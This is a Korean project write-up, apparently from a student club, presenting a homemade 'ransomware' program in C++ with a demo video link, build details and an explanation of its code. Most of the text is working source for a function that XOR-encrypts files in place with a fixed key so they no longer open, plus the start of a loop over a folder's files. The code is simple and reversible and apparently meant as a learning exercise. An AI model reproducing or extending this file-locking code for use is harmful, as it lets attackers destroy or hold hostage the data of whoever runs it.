<aside> 💡 프로젝트 유니폭스의 전통! 랜섬웨어 만들기~ 두둥! 탁 정상적으로 열리던 파일이 프로그램을 실행했더니 열리지 않게 된다고?!

</aside>

👀 시연영상

https://youtu.be/eFJ0h4vmoZQ


제작 환경

제작 언어: c++

사용한 프로그램:visual studio 2022

사용한 헤더파일: 원하는 경로를 불러오기 위한 ShlObj_core.h 헤더파일 파일 경로를 이용하여 여러가지 작업을 하기위한 filesystem 헤더파일


프로젝트 소개

암호화 방법

void Crypto(const char* str) {
	char buffer[1024];
	size_t readBytes = 0, wpos = 0, rpos = 0;

	FILE* fp;
	errno_t err = fopen_s(&fp, str, "r+b");

	const char amho[] = "!@#$%^&*()_+";
	const int amho_size = sizeof(amho);

	if (err == 0) {
		while (!feof(fp)) {
			wpos = ftell(fp);
			ZeroMemory(buffer, sizeof(buffer));

			readBytes = fread(buffer, sizeof(char), sizeof(buffer), fp);
			if (readBytes <= 0) break;
			rpos = ftell(fp);

			for (int i = 0; i < sizeof(buffer); i++) buffer[i] ^= amho[i % amho_size];

			fseek(fp, wpos, SEEK_SET);
			fwrite(buffer, sizeof(char), readBytes, fp);
			fseek(fp, rpos, SEEK_SET);
		}
		fclose(fp);
	}
}

먼 wpos에 파일을 읽거나 쓰면서 이동하는 현재 위치의 위치 값을 넣어줍니다.

그후 fread 함수를 이용하여 buffer를 가져옵니다.

그리고 가져온 buffer에 지정한 암호로 비트 연산을 합니다.

마지막으로 fwrite로 buffer에서 readBytes항목까지 데이터를 써주었습니다.

fseek(fp, wpos, SEEK_SET);
fwrite(buffer, sizeof(char), readBytes, fp);
fseek(fp, rpos, SEEK_SET);

여기서 wpos, rpos로 나누는 이유는 한글처럼 인코딩 했을때 달라질수 있는 함수들은 길이또한 바뀔수 있기때문에 파일상의 위치를 읽기 전용, 쓰기 전용으로 나누어 줬습니다.

UI작동

std::filesystem::directory_iterator iter(".\\\\file");